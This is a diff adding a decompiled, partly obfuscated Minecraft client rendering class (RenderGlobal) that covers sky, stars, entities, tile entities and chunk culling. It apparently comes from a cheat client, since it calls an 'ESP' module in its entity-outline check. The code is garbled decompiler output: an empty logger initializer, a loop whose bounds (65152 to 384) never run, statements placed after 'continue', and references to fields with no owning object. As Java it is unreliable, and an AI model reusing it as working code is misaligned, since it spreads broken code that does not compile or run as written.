+import org.lwjgl.input.Keyboard;
+import org.lwjgl.opengl.GL11;
+import shadersmod.client.Shaders;
+import shadersmod.client.ShadersRender;
+
+public class RenderGlobal implements IWorldAccess, IResourceManagerReloadListener
+{
+  private static final Logger logger = ;
+  private static final ResourceLocation locationMoonPhasesPng = new ResourceLocation("textures/environment/moon_phases.png");
+  private static final ResourceLocation locationSunPng = new ResourceLocation("textures/environment/sun.png");
+  private static final ResourceLocation locationCloudsPng = new ResourceLocation("textures/environment/clouds.png");
+  private static final ResourceLocation locationEndSkyPng = new ResourceLocation("textures/environment/end_sky.png");
+  private static final ResourceLocation field_175006_g = new ResourceLocation("textures/misc/forcefield.png");
+  
+  public final Minecraft mc;
+  
+  private final TextureManager renderEngine;
+  
+  private final RenderManager field_175010_j;
+  
+  private WorldClient theWorld;
+  private Set field_175009_l = Sets.newLinkedHashSet();
+  
+
+  private List glRenderLists = com.google.common.collect.Lists.newArrayListWithCapacity(69696);
+  
+  private ViewFrustum field_175008_n;
+  
+  private int starGLCallList = -1;
+  
+
+  private int glSkyList = -1;
+  
+
+  private int glSkyList2 = -1;
+  
+
+  private VertexFormat field_175014_r;
+  
+
+  private VertexBuffer field_175013_s;
+  
+
+  private VertexBuffer field_175012_t;
+  
+  private VertexBuffer field_175011_u;
+  
+  private int cloudTickCounter;
+  
+  public final Map damagedBlocks = Maps.newHashMap();
+  
+
+  private final Map mapSoundPositions = Maps.newHashMap();
+  private final TextureAtlasSprite[] destroyBlockIcons = new TextureAtlasSprite[10];
+  private Framebuffer field_175015_z;
+  private ShaderGroup field_174991_A;
+  private double field_174992_B = Double.MIN_VALUE;
+  private double field_174993_C = Double.MIN_VALUE;
+  private double field_174987_D = Double.MIN_VALUE;
+  private int field_174988_E = Integer.MIN_VALUE;
+  private int field_174989_F = Integer.MIN_VALUE;
+  private int field_174990_G = Integer.MIN_VALUE;
+  private double field_174997_H = Double.MIN_VALUE;
+  private double field_174998_I = Double.MIN_VALUE;
+  private double field_174999_J = Double.MIN_VALUE;
+  private double field_175000_K = Double.MIN_VALUE;
+  private double field_174994_L = Double.MIN_VALUE;
+  private final ChunkRenderDispatcher field_174995_M = new ChunkRenderDispatcher();
+  private ChunkRenderContainer field_174996_N;
+  private int renderDistanceChunks = -1;
+  
+
+  private int renderEntitiesStartupCounter = 2;
+  
+
+  private int countEntitiesTotal;
+  
+
+  private int countEntitiesRendered;
+  
+  private int countEntitiesHidden;
+  
+  private boolean field_175002_T = false;
+  private ClippingHelper field_175001_U;
+  private final Vector4f[] field_175004_V = new Vector4f[8];
+  private final Vector3d field_175003_W = new Vector3d();
+  private boolean field_175005_X = false;
+  net.minecraft.client.renderer.chunk.IRenderChunkFactory field_175007_a;
+  private double prevRenderSortX;
+  private double prevRenderSortY;
+  private double prevRenderSortZ;
+  public boolean displayListEntitiesDirty = true;
+  private static final String __OBFID = "CL_00000954";
+  private CloudRenderer cloudRenderer;
+  public Entity renderedEntity;
+  public Set chunksToResortTransparency = new LinkedHashSet();
+  public Set chunksToUpdateForced = new LinkedHashSet();
+  private Deque visibilityDeque = new ArrayDeque();
+  private List renderInfosEntities = new ArrayList(1024);
+  private List renderInfosTileEntities = new ArrayList(1024);
+  private List renderInfosNormal = new ArrayList(1024);
+  private List renderInfosEntitiesNormal = new ArrayList(1024);
+  private List renderInfosTileEntitiesNormal = new ArrayList(1024);
+  private List renderInfosShadow = new ArrayList(1024);
+  private List renderInfosEntitiesShadow = new ArrayList(1024);
+  private List renderInfosTileEntitiesShadow = new ArrayList(1024);
+  private int renderDistance = 0;
+  private int renderDistanceSq = 0;
+  private static final Set SET_ALL_FACINGS = java.util.Collections.unmodifiableSet(new java.util.HashSet(Arrays.asList(EnumFacing.VALUES)));
+  private int countTileEntitiesRendered;
+  
+  public RenderGlobal(Minecraft mcIn)
+  {
+    cloudRenderer = new CloudRenderer(mcIn);
+    mc = mcIn;
+    field_175010_j = mcIn.getRenderManager();
+    renderEngine = mcIn.getTextureManager();
+    renderEngine.bindTexture(field_175006_g);
+    GL11.glTexParameteri(3553, 10242, 10497);
+    GL11.glTexParameteri(3553, 10243, 10497);
+    GlStateManager.func_179144_i(0);
+    func_174971_n();
+    field_175005_X = OpenGlHelper.func_176075_f();
+    
+    if (field_175005_X)
+    {
+      field_174996_N = new VboRenderList();
+      field_175007_a = new VboChunkFactory();
+    }
+    else
+    {
+      field_174996_N = new RenderList();
+      field_175007_a = new ListChunkFactory();
+    }
+    
+    field_175014_r = new VertexFormat();
+    field_175014_r.func_177349_a(new VertexFormatElement(0, VertexFormatElement.EnumType.FLOAT, VertexFormatElement.EnumUseage.POSITION, 3));
+    func_174963_q();
+    func_174980_p();
+    func_174964_o();
+  }
+  
+  public void onResourceManagerReload(IResourceManager resourceManager)
+  {
+    func_174971_n();
+  }
+  
+  private void func_174971_n()
+  {
+    TextureMap var1 = mc.getTextureMapBlocks();
+    
+    for (int var2 = 0; var2 < destroyBlockIcons.length; var2++)
+    {
+      destroyBlockIcons[var2] = var1.getAtlasSprite("minecraft:blocks/destroy_stage_" + var2);
+    }
+  }
+  
+  public void func_174966_b()
+  {
+    if (OpenGlHelper.shadersSupported)
+    {
+      if (ShaderLinkHelper.getStaticShaderLinkHelper() == null)
+      {
+        ShaderLinkHelper.setNewStaticShaderLinkHelper();
+      }
+      
+      ResourceLocation var1 = new ResourceLocation("shaders/post/entity_outline.json");
+      
+      try
+      {
+        field_174991_A = new ShaderGroup(mc.getTextureManager(), mc.getResourceManager(), mc.getFramebuffer(), var1);
+        field_174991_A.createBindFramebuffers(mc.displayWidth, mc.displayHeight);
+        field_175015_z = field_174991_A.func_177066_a("final");
+      }
+      catch (IOException var3)
+      {
+        logger.warn("Failed to load shader: " + var1, var3);
+        field_174991_A = null;
+        field_175015_z = null;
+      }
+      catch (JsonSyntaxException var4)
+      {
+        logger.warn("Failed to load shader: " + var1, var4);
+        field_174991_A = null;
+        field_175015_z = null;
+      }
+    }
+    else
+    {
+      field_174991_A = null;
+      field_175015_z = null;
+    }
+  }
+  
+  public void func_174975_c()
+  {
+    if (func_174985_d())
+    {
+      mc.gameSettings.ofFastRender = false;
+      GlStateManager.enableBlend();
+      GlStateManager.tryBlendFuncSeparate(770, 769, 1, 1);
+      
+      field_175015_z.func_178038_a(mc.displayWidth, mc.displayHeight, false);
+      GlStateManager.disableBlend();
+    }
+  }
+  
+  protected boolean func_174985_d()
+  {
+    ESP esp = (ESP)Client.instance.getModuleManager().getModuleByClass(ESP.class);
+    
+    return false;
+  }
+  
+  private void func_174964_o()
+  {
+    Tessellator var1 = Tessellator.getInstance();
+    WorldRenderer var2 = var1.getWorldRenderer();
+    
+    if (field_175011_u != null)
+    {
+      field_175011_u.func_177362_c();
+    }
+    
+    if (glSkyList2 >= 0)
+    {
+      GLAllocation.deleteDisplayLists(glSkyList2);
+      glSkyList2 = -1;
+    }
+    
+    if (field_175005_X)
+    {
+      field_175011_u = new VertexBuffer(field_175014_r);
+      func_174968_a(var2, -16.0F, true);
+      var2.draw();
+      var2.reset();
+      field_175011_u.func_177360_a(var2.func_178966_f(), var2.func_178976_e());
+    }
+    else
+    {
+      glSkyList2 = GLAllocation.generateDisplayLists(1);
+      GL11.glNewList(glSkyList2, 4864);
+      func_174968_a(var2, -16.0F, true);
+      var1.draw();
+      GL11.glEndList();
+    }
+  }
+  
+  private void func_174980_p()
+  {
+    Tessellator var1 = Tessellator.getInstance();
+    WorldRenderer var2 = var1.getWorldRenderer();
+    
+    if (field_175012_t != null)
+    {
+      field_175012_t.func_177362_c();
+    }
+    
+    if (glSkyList >= 0)
+    {
+      GLAllocation.deleteDisplayLists(glSkyList);
+      glSkyList = -1;
+    }
+    
+    if (field_175005_X)
+    {
+      field_175012_t = new VertexBuffer(field_175014_r);
+      func_174968_a(var2, 16.0F, false);
+      var2.draw();
+      var2.reset();
+      field_175012_t.func_177360_a(var2.func_178966_f(), var2.func_178976_e());
+    }
+    else
+    {
+      glSkyList = GLAllocation.generateDisplayLists(1);
+      GL11.glNewList(glSkyList, 4864);
+      func_174968_a(var2, 16.0F, false);
+      var1.draw();
+      GL11.glEndList();
+    }
+  }
+  
+  private void func_174968_a(WorldRenderer worldRendererIn, float p_174968_2_, boolean p_174968_3_)
+  {
+    boolean var4 = true;
+    boolean var5 = true;
+    worldRendererIn.startDrawingQuads();
+    
+    for (int var6 = 65152; var6 <= 384; var6 += 64)
+    {
+      for (int var7 = 65152; var7 <= 384; var7 += 64)
+      {
+        float var8 = var6;
+        float var9 = var6 + 64;
+        
+        if (p_174968_3_)
+        {
+          var9 = var6;
+          var8 = var6 + 64;
+        }
+        
+        worldRendererIn.addVertex(var8, p_174968_2_, var7);
+        worldRendererIn.addVertex(var9, p_174968_2_, var7);
+        worldRendererIn.addVertex(var9, p_174968_2_, var7 + 64);
+        worldRendererIn.addVertex(var8, p_174968_2_, var7 + 64);
+      }
+    }
+  }
+  
+  private void func_174963_q()
+  {
+    Tessellator var1 = Tessellator.getInstance();
+    WorldRenderer var2 = var1.getWorldRenderer();
+    
+    if (field_175013_s != null)
+    {
+      field_175013_s.func_177362_c();
+    }
+    
+    if (starGLCallList >= 0)
+    {
+      GLAllocation.deleteDisplayLists(starGLCallList);
+      starGLCallList = -1;
+    }
+    
+    if (field_175005_X)
+    {
+      field_175013_s = new VertexBuffer(field_175014_r);
+      func_180444_a(var2);
+      var2.draw();
+      var2.reset();
+      field_175013_s.func_177360_a(var2.func_178966_f(), var2.func_178976_e());
+    }
+    else
+    {
+      starGLCallList = GLAllocation.generateDisplayLists(1);
+      GlStateManager.pushMatrix();
+      GL11.glNewList(starGLCallList, 4864);
+      func_180444_a(var2);
+      var1.draw();
+      GL11.glEndList();
+      GlStateManager.popMatrix();
+    }
+  }
+  
+  private void func_180444_a(WorldRenderer worldRendererIn)
+  {
+    Random var2 = new Random(10842L);
+    worldRendererIn.startDrawingQuads();
+    
+    for (int var3 = 0; var3 < 1500; var3++)
+    {
+      double var4 = var2.nextFloat() * 2.0F - 1.0F;
+      double var6 = var2.nextFloat() * 2.0F - 1.0F;
+      double var8 = var2.nextFloat() * 2.0F - 1.0F;
+      double var10 = 0.15F + var2.nextFloat() * 0.1F;
+      double var12 = var4 * var4 + var6 * var6 + var8 * var8;
+      
+      if ((var12 < 1.0D) && (var12 > 0.01D))
+      {
+        var12 = 1.0D / Math.sqrt(var12);
+        var4 *= var12;
+        var6 *= var12;
+        var8 *= var12;
+        double var14 = var4 * 100.0D;
+        double var16 = var6 * 100.0D;
+        double var18 = var8 * 100.0D;
+        double var20 = Math.atan2(var4, var8);
+        double var22 = Math.sin(var20);
+        double var24 = Math.cos(var20);
+        double var26 = Math.atan2(Math.sqrt(var4 * var4 + var8 * var8), var6);
+        double var28 = Math.sin(var26);
+        double var30 = Math.cos(var26);
+        double var32 = var2.nextDouble() * 3.141592653589793D * 2.0D;
+        double var34 = Math.sin(var32);
+        double var36 = Math.cos(var32);
+        
+        for (int var38 = 0; var38 < 4; var38++)
+        {
+          double var39 = 0.0D;
+          double var41 = ((var38 & 0x2) - 1) * var10;
+          double var43 = ((var38 + 1 & 0x2) - 1) * var10;
+          double var45 = 0.0D;
+          double var47 = var41 * var36 - var43 * var34;
+          double var49 = var43 * var36 + var41 * var34;
+          double var53 = var47 * var28 + 0.0D * var30;
+          double var55 = 0.0D * var28 - var47 * var30;
+          double var57 = var55 * var22 - var49 * var24;
+          double var61 = var49 * var22 + var55 * var24;
+          worldRendererIn.addVertex(var14 + var57, var16 + var53, var18 + var61);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void setWorldAndLoadRenderers(WorldClient worldClientIn)
+  {
+    if (theWorld != null)
+    {
+      theWorld.removeWorldAccess(this);
+    }
+    
+    field_174992_B = Double.MIN_VALUE;
+    field_174993_C = Double.MIN_VALUE;
+    field_174987_D = Double.MIN_VALUE;
+    field_174988_E = Integer.MIN_VALUE;
+    field_174989_F = Integer.MIN_VALUE;
+    field_174990_G = Integer.MIN_VALUE;
+    field_175010_j.set(worldClientIn);
+    theWorld = worldClientIn;
+    
+    if (Config.isDynamicLights())
+    {
+      DynamicLights.clear();
+    }
+    
+    if (worldClientIn != null)
+    {
+      worldClientIn.addWorldAccess(this);
+      loadRenderers();
+    }
+  }
+  
+
+
+
+  public void loadRenderers()
+  {
+    if (theWorld != null)
+    {
+      displayListEntitiesDirty = true;
+      Blocks.leaves.setGraphicsLevel(Config.isTreesFancy());
+      Blocks.leaves2.setGraphicsLevel(Config.isTreesFancy());
+      BlockModelRenderer.updateAoLightValue();
+      
+      if (Config.isDynamicLights())
+      {
+        DynamicLights.clear();
+      }
+      
+      renderDistanceChunks = mc.gameSettings.renderDistanceChunks;
+      renderDistance = (renderDistanceChunks * 16);
+      renderDistanceSq = (renderDistance * renderDistance);
+      boolean var1 = field_175005_X;
+      field_175005_X = OpenGlHelper.func_176075_f();
+      
+      if ((var1) && (!field_175005_X))
+      {
+        field_174996_N = new RenderList();
+        field_175007_a = new ListChunkFactory();
+      }
+      else if ((!var1) && (field_175005_X))
+      {
+        field_174996_N = new VboRenderList();
+        field_175007_a = new VboChunkFactory();
+      }
+      
+      if (var1 != field_175005_X)
+      {
+        func_174963_q();
+        func_174980_p();
+        func_174964_o();
+      }
+      
+      if (field_175008_n != null)
+      {
+        field_175008_n.func_178160_a();
+      }
+      
+      func_174986_e();
+      field_175008_n = new ViewFrustum(theWorld, mc.gameSettings.renderDistanceChunks, this, field_175007_a);
+      
+      if (theWorld != null)
+      {
+        Entity var2 = mc.func_175606_aa();
+        
+        if (var2 != null)
+        {
+          field_175008_n.func_178163_a(posX, posZ);
+        }
+      }
+      
+      renderEntitiesStartupCounter = 2;
+    }
+  }
+  
+  protected void func_174986_e()
+  {
+    field_175009_l.clear();
+    field_174995_M.func_178514_b();
+  }
+  
+  public void checkOcclusionQueryResult(int p_72720_1_, int p_72720_2_)
+  {
+    if ((OpenGlHelper.shadersSupported) && (field_174991_A != null))
+    {
+      field_174991_A.createBindFramebuffers(p_72720_1_, p_72720_2_);
+    }
+  }
+  
+  public void func_180446_a(Entity p_180446_1_, ICamera p_180446_2_, float partialTicks)
+  {
+    int pass = 0;
+    
+    if (Reflector.MinecraftForgeClient_getRenderPass.exists())
+    {
+      pass = Reflector.callInt(Reflector.MinecraftForgeClient_getRenderPass, new Object[0]);
+    }
+    
+    if (renderEntitiesStartupCounter > 0)
+    {
+      if (pass > 0)
+      {
+        return;
+      }
+      
+      renderEntitiesStartupCounter -= 1;
+    }
+    else
+    {
+      double var4 = prevPosX + (posX - prevPosX) * partialTicks;
+      double var6 = prevPosY + (posY - prevPosY) * partialTicks;
+      double var8 = prevPosZ + (posZ - prevPosZ) * partialTicks;
+      theWorld.theProfiler.startSection("prepare");
+      TileEntityRendererDispatcher.instance.func_178470_a(theWorld, mc.getTextureManager(), mc.fontRendererObj, mc.func_175606_aa(), partialTicks);
+      field_175010_j.func_180597_a(theWorld, mc.fontRendererObj, mc.func_175606_aa(), mc.pointedEntity, mc.gameSettings, partialTicks);
+      
+      if (pass == 0)
+      {
+        countEntitiesTotal = 0;
+        countEntitiesRendered = 0;
+        countEntitiesHidden = 0;
+        countTileEntitiesRendered = 0;
+      }
+      
+      Entity var10 = mc.func_175606_aa();
+      double var11 = lastTickPosX + (posX - lastTickPosX) * partialTicks;
+      double var13 = lastTickPosY + (posY - lastTickPosY) * partialTicks;
+      double var15 = lastTickPosZ + (posZ - lastTickPosZ) * partialTicks;
+      TileEntityRendererDispatcher.staticPlayerX = var11;
+      TileEntityRendererDispatcher.staticPlayerY = var13;
+      TileEntityRendererDispatcher.staticPlayerZ = var15;
+      field_175010_j.func_178628_a(var11, var13, var15);
+      mc.entityRenderer.func_180436_i();
+      theWorld.theProfiler.endStartSection("global");
+      List var17 = theWorld.getLoadedEntityList();
+      
+      if (pass == 0)
+      {
+        countEntitiesTotal = var17.size();
+      }
+      
+      if ((Config.isFogOff()) && (mc.entityRenderer.fogStandard))
+      {
+        GlStateManager.disableFog();
+      }
+      
+      boolean forgeEntityPass = Reflector.ForgeEntity_shouldRenderInPass.exists();
+      boolean forgeTileEntityPass = Reflector.ForgeTileEntity_shouldRenderInPass.exists();
+      
+
+
+      for (int var18 = 0; var18 < theWorld.weatherEffects.size(); var18++)
+      {
+        Entity var19 = (Entity)theWorld.weatherEffects.get(var18);
+        
+        if (forgeEntityPass) { if (!Reflector.callBoolean(var19, Reflector.ForgeEntity_shouldRenderInPass, new Object[] { Integer.valueOf(pass) })) {}
+        } else {
+          countEntitiesRendered += 1;
+          
+          if (var19.isInRangeToRender3d(var4, var6, var8))
+          {
+            field_175010_j.renderEntitySimple(var19, partialTicks);
+          }
+        }
+      }
+      
+
+
+      if (func_174985_d())
+      {
+        GlStateManager.depthFunc(519);
+        GlStateManager.disableFog();
+        field_175015_z.framebufferClear();
+        field_175015_z.bindFramebuffer(false);
+        theWorld.theProfiler.endStartSection("entityOutlines");
+        RenderHelper.disableStandardItemLighting();
+        field_175010_j.func_178632_c(true);
+        
+        for (var18 = 0; var18 < var17.size(); var18++)
+        {
+          Entity var19 = (Entity)var17.get(var18);
+          
+          if (forgeEntityPass) { if (!Reflector.callBoolean(var19, Reflector.ForgeEntity_shouldRenderInPass, new Object[] { Integer.valueOf(pass) })) {}
+          } else {
+            boolean isShaders = ((mc.func_175606_aa() instanceof EntityLivingBase)) && (((EntityLivingBase)mc.func_175606_aa()).isPlayerSleeping());
+            boolean var25 = (var19.isInRangeToRender3d(var4, var6, var8)) && ((ignoreFrustumCheck) || (p_180446_2_.isBoundingBoxInFrustum(var19.getEntityBoundingBox())) || (riddenByEntity == mc.thePlayer)) && ((var19 instanceof EntityPlayer));
+            
+            if (((var19 != mc.func_175606_aa()) || (mc.gameSettings.thirdPersonView != 0) || (isShaders)) && (var25))
+            {
+              field_175010_j.renderEntitySimple(var19, partialTicks);
+            }
+          }
+        }
+        
+        field_175010_j.func_178632_c(false);
+        RenderHelper.enableStandardItemLighting();
+        GlStateManager.depthMask(false);
+        field_174991_A.loadShaderGroup(partialTicks);
+        GlStateManager.depthMask(true);
+        mc.getFramebuffer().bindFramebuffer(false);
+        GlStateManager.enableFog();
+        GlStateManager.depthFunc(515);
+        GlStateManager.enableDepth();
+        GlStateManager.enableAlpha();
+      }
+      
+      theWorld.theProfiler.endStartSection("entities");
+      boolean isShaders = Config.isShaders();
+      
+      if (isShaders)
+      {
+        Shaders.beginEntities();
+      }
+      
+      Iterator var35 = renderInfosEntities.iterator();
+      boolean oldFancyGraphics = mc.gameSettings.fancyGraphics;
+      mc.gameSettings.fancyGraphics = Config.isDroppedItemsFancy();
+      Iterator var32;
+      for (; 
+          var35.hasNext(); 
+          
+
+
+
+
+          var32.hasNext())
+      {
+        ContainerLocalRenderInformation var26 = (ContainerLocalRenderInformation)var35.next();
+        Chunk fontRenderer = theWorld.getChunkFromBlockCoords(field_178036_a.func_178568_j());
+        var32 = fontRenderer.getEntityLists()[(field_178036_a.func_178568_j().getY() / 16)].iterator();
+        
+        continue;
+        
+        Entity var27 = (Entity)var32.next();
+        
+        if (forgeEntityPass) { if (!Reflector.callBoolean(var27, Reflector.ForgeEntity_shouldRenderInPass, new Object[] { Integer.valueOf(pass) })) {}
+        } else {
+          boolean var30 = (field_175010_j.func_178635_a(var27, p_180446_2_, var4, var6, var8)) || (riddenByEntity == mc.thePlayer);
+          
+          if (var30)
+          {
+            boolean var34 = (mc.func_175606_aa() instanceof EntityLivingBase) ? ((EntityLivingBase)mc.func_175606_aa()).isPlayerSleeping() : false;
+            
+            if (((var27 != mc.func_175606_aa()) || (mc.gameSettings.thirdPersonView != 0) || (var34)) && ((posY < 0.0D) || (posY >= 256.0D) || (theWorld.isBlockLoaded(new BlockPos(var27)))))
+            {
+
+
+
+              countEntitiesRendered += 1;
+              
+              if (var27.getClass() == net.minecraft.entity.item.EntityItemFrame.class)
+              {
+                renderDistanceWeight = 0.06D;
+              }
+              
+              renderedEntity = var27;
+              
+              if (isShaders)
+              {
+                Shaders.nextEntity(var27);
+              }
+              
+              field_175010_j.renderEntitySimple(var27, partialTicks);
+              renderedEntity = null;
+            }
+          }
+          else if ((!var30) && ((var27 instanceof net.minecraft.entity.projectile.EntityWitherSkull)))
+          {
+            if (isShaders)
+            {
+              Shaders.nextEntity(var27);
+            }
+            
+            mc.getRenderManager().func_178630_b(var27, partialTicks);
+          }
+        }
+      }
+      
+
+      mc.gameSettings.fancyGraphics = oldFancyGraphics;
+      net.minecraft.client.gui.FontRenderer var36 = TileEntityRendererDispatcher.instance.getFontRenderer();
+      
+      if (isShaders)
+      {
+        Shaders.endEntities();
+        Shaders.beginBlockEntities();
+      }
+      
+      theWorld.theProfiler.endStartSection("blockentities");
+      RenderHelper.enableStandardItemLighting();
+      
+      if (Reflector.ForgeTileEntityRendererDispatcher_preDrawBatch.exists())
+      {
+        Reflector.call(TileEntityRendererDispatcher.instance, Reflector.ForgeTileEntityRendererDispatcher_preDrawBatch, new Object[0]);
+      }
+      
+      var35 = renderInfosTileEntities.iterator();
+      Iterator var38;
+      for (; 
+          var35.hasNext(); 
+          
+
+
+
+          var38.hasNext())
+      {
+        ContainerLocalRenderInformation var26 = (ContainerLocalRenderInformation)var35.next();
+        var38 = field_178036_a.func_178571_g().func_178485_b().iterator();
+        
+        continue;
+        
+        TileEntity var37 = (TileEntity)var38.next();
+        
+        if (forgeTileEntityPass)
+        {
+          if (Reflector.callBoolean(var37, Reflector.ForgeTileEntity_shouldRenderInPass, new Object[] { Integer.valueOf(pass) }))
+          {
+
+
+            AxisAlignedBB var40 = (AxisAlignedBB)Reflector.call(var37, Reflector.ForgeTileEntity_getRenderBoundingBox, new Object[0]);
+            
+            if ((var40 != null) && (!p_180446_2_.isBoundingBoxInFrustum(var40))) {}
+          }
+          
+        }
+        else
+        {
+          Class var42 = var37.getClass();
+          
+          if ((var42 == TileEntitySign.class) && (!Config.zoomMode))
+          {
+            EntityPlayerSP shouldRender = mc.thePlayer;
+            double tileEntity = var37.getDistanceSq(posX, posY, posZ);
+            
+            if (tileEntity > 256.0D)
+            {
+              enabled = false;
+            }
+          }
+          
+          if (isShaders)
+          {
+            Shaders.nextBlockEntity(var37);
+          }
+          
+          TileEntityRendererDispatcher.instance.func_180546_a(var37, partialTicks, -1);
+          countTileEntitiesRendered += 1;
+          enabled = true;
+        }
+      }
+      
+      if (Reflector.ForgeTileEntityRendererDispatcher_drawBatch.exists())
+      {
+        Reflector.call(TileEntityRendererDispatcher.instance, Reflector.ForgeTileEntityRendererDispatcher_drawBatch, new Object[] { Integer.valueOf(pass) });
+      }
+      
+      func_180443_s();
+      var35 = damagedBlocks.values().iterator();
+      
+      while (var35.hasNext())
+      {
+        DestroyBlockProgress var39 = (DestroyBlockProgress)var35.next();
+        BlockPos var41 = var39.func_180246_b();
+        TileEntity var37 = theWorld.getTileEntity(var41);
+        
+        if ((var37 instanceof TileEntityChest))
+        {
+          TileEntityChest var43 = (TileEntityChest)var37;
+          
+          if (adjacentChestXNeg != null)
+          {
+            var41 = var41.offset(EnumFacing.WEST);
+            var37 = theWorld.getTileEntity(var41);
+          }
+          else if (adjacentChestZNeg != null)
+          {
+            var41 = var41.offset(EnumFacing.NORTH);
+            var37 = theWorld.getTileEntity(var41);
+          }
+        }
+        
+        Block var44 = theWorld.getBlockState(var41).getBlock();
+        
+        boolean var45;
+        if (forgeTileEntityPass)
+        {
+          boolean var45 = false;
+          
+          if (var37 != null) if ((Reflector.callBoolean(var37, Reflector.ForgeTileEntity_shouldRenderInPass, new Object[] { Integer.valueOf(pass) })) && (Reflector.callBoolean(var37, Reflector.ForgeTileEntity_canRenderBreaking, new Object[0])))
+            {
+              AxisAlignedBB aabb = (AxisAlignedBB)Reflector.call(var37, Reflector.ForgeTileEntity_getRenderBoundingBox, new Object[0]);
+              
+              if (aabb != null)
+              {
+                var45 = p_180446_2_.isBoundingBoxInFrustum(aabb);
+              }
+            }
+        }
+        else
+        {
+          var45 = (var37 != null) && (((var44 instanceof BlockChest)) || ((var44 instanceof BlockEnderChest)) || ((var44 instanceof BlockSign)) || ((var44 instanceof BlockSkull)));
+        }
+        
+        if (var45)
+        {
+          if (isShaders)
+          {
+            Shaders.nextBlockEntity(var37);
+          }
+          
+          TileEntityRendererDispatcher.instance.func_180546_a(var37, partialTicks, var39.getPartialBlockDamage());
+        }
+      }
+      
+      func_174969_t();
+      mc.entityRenderer.func_175072_h();
+      mc.mcProfiler.endSection();
+    }
+  }
+  
+
+
+
+  public String getDebugInfoRenders()
+  {
+    int var1 = field_175008_n.field_178164_f.length;
+    int var2 = 0;
+    Iterator var3 = glRenderLists.iterator();
+    
+    while (var3.hasNext())
+    {
+      ContainerLocalRenderInformation var4 = (ContainerLocalRenderInformation)var3.next();
+      CompiledChunk var5 = field_178036_a.field_178590_b;
+      
+      if ((var5 != CompiledChunk.field_178502_a) && (!var5.func_178489_a()))
+      {
+        var2++;
+      }
+    }
+    
+    return String.format("C: %d/%d %sD: %d, %s", new Object[] { Integer.valueOf(var2), Integer.valueOf(var1), mc.field_175612_E ? "(s) " : "", Integer.valueOf(renderDistanceChunks), field_174995_M.func_178504_a() });
+  }
+  
+
+
+
+  public String getDebugInfoEntities()
+  {
+    return "E: " + countEntitiesRendered + "/" + countEntitiesTotal + ", B: " + countEntitiesHidden + ", I: " + (countEntitiesTotal - countEntitiesHidden - countEntitiesRendered) + ", " + Config.getVersionDebug();
+  }
+  
+  public void func_174970_a(Entity viewEntity, double partialTicks, ICamera camera, int frameCount, boolean playerSpectator)
+  {
+    if (mc.gameSettings.renderDistanceChunks != renderDistanceChunks)
+    {
+      loadRenderers();
+    }
+    
+    theWorld.theProfiler.startSection("camera");
+    double var7 = posX - field_174992_B;
+    double var9 = posY - field_174993_C;
+    double var11 = posZ - field_174987_D;
+    
+    if ((field_174988_E != chunkCoordX) || (field_174989_F != chunkCoordY) || (field_174990_G != chunkCoordZ) || (var7 * var7 + var9 * var9 + var11 * var11 > 16.0D))
+    {
+      field_174992_B = posX;
+      field_174993_C = posY;
+      field_174987_D = posZ;
+      field_174988_E = chunkCoordX;
+      field_174989_F = chunkCoordY;
+      field_174990_G = chunkCoordZ;
+      field_175008_n.func_178163_a(posX, posZ);
+    }
+    
+    if (Config.isDynamicLights())
+    {
+      DynamicLights.update(this);
+    }
+    
+    theWorld.theProfiler.endStartSection("renderlistcamera");
+    double var13 = lastTickPosX + (posX - lastTickPosX) * partialTicks;
+    double var15 = lastTickPosY + (posY - lastTickPosY) * partialTicks;
+    double var17 = lastTickPosZ + (posZ - lastTickPosZ) * partialTicks;
+    field_174996_N.func_178004_a(var13, var15, var17);
+    theWorld.theProfiler.endStartSection("cull");
+    
+    if (field_175001_U != null)
+    {
+      Frustrum var35 = new Frustrum(field_175001_U);
+      var35.setPosition(field_175003_W.x, field_175003_W.y, field_175003_W.z);
+      camera = var35;
+    }
+    
+    mc.mcProfiler.endStartSection("culling");
+    BlockPos var351 = new BlockPos(var13, var15 + viewEntity.getEyeHeight(), var17);
+    RenderChunk var20 = field_175008_n.func_178161_a(var351);
+    BlockPos var21 = new BlockPos(MathHelper.floor_double(var13) / 16 * 16, MathHelper.floor_double(var15) / 16 * 16, MathHelper.floor_double(var17) / 16 * 16);
+    displayListEntitiesDirty = ((displayListEntitiesDirty) || (!field_175009_l.isEmpty()) || (posX != field_174997_H) || (posY != field_174998_I) || (posZ != field_174999_J) || (rotationPitch != field_175000_K) || (rotationYaw != field_174994_L));
+    field_174997_H = posX;
+    field_174998_I = posY;
+    field_174999_J = posZ;
+    field_175000_K = rotationPitch;
+    field_174994_L = rotationYaw;
+    boolean var22 = field_175001_U != null;
+    Lagometer.timerVisibility.start();
+    
+    if (Shaders.isShadowPass)
+    {
+      glRenderLists = renderInfosShadow;
+      renderInfosEntities = renderInfosEntitiesShadow;
+      renderInfosTileEntities = renderInfosTileEntitiesShadow;
+      
+      if ((!var22) && (displayListEntitiesDirty))
+      {
+        glRenderLists.clear();
+        renderInfosEntities.clear();
+        renderInfosTileEntities.clear();
+        RenderInfoLazy var39 = new RenderInfoLazy();
+        
+        for (int var41 = 0; var41 < field_175008_n.field_178164_f.length; var41++)
+        {
+          RenderChunk var36 = field_175008_n.field_178164_f[var41];
+          var39.setRenderChunk(var36);
+          
+          if ((!field_178590_b.func_178489_a()) || (var36.func_178569_m()))
+          {
+            glRenderLists.add(var39.getRenderInfo());
+          }
+          
+          BlockPos var37 = var36.func_178568_j();
+          
+          if (ChunkUtils.hasEntities(theWorld.getChunkFromBlockCoords(var37)))
+          {
+            renderInfosEntities.add(var39.getRenderInfo());
+          }
+          
+          if (var36.func_178571_g().func_178485_b().size() > 0)
+          {
+            renderInfosTileEntities.add(var39.getRenderInfo());
+          }
+        }
+      }
+    }
+    else
+    {
+      glRenderLists = renderInfosNormal;
+      renderInfosEntities = renderInfosEntitiesNormal;
+      renderInfosTileEntities = renderInfosTileEntitiesNormal;
+    }
+    
+
+
+
+    if ((!var22) && (displayListEntitiesDirty) && (!Shaders.isShadowPass))
+    {
+      displayListEntitiesDirty = false;
+      glRenderLists.clear();
+      renderInfosEntities.clear();
+      renderInfosTileEntities.clear();
+      visibilityDeque.clear();
+      Deque var38 = visibilityDeque;
+      boolean var40 = mc.field_175612_E;
+      
+
+      if (var20 == null)
+      {
+        int var46 = var351.getY() > 0 ? 248 : 8;
+        
+        for (int var30 = -renderDistanceChunks; var30 <= renderDistanceChunks; var30++)
+        {
+          for (int var43 = -renderDistanceChunks; var43 <= renderDistanceChunks; var43++)
+          {
+            RenderChunk var45 = field_175008_n.func_178161_a(new BlockPos((var30 << 4) + 8, var46, (var43 << 4) + 8));
+            
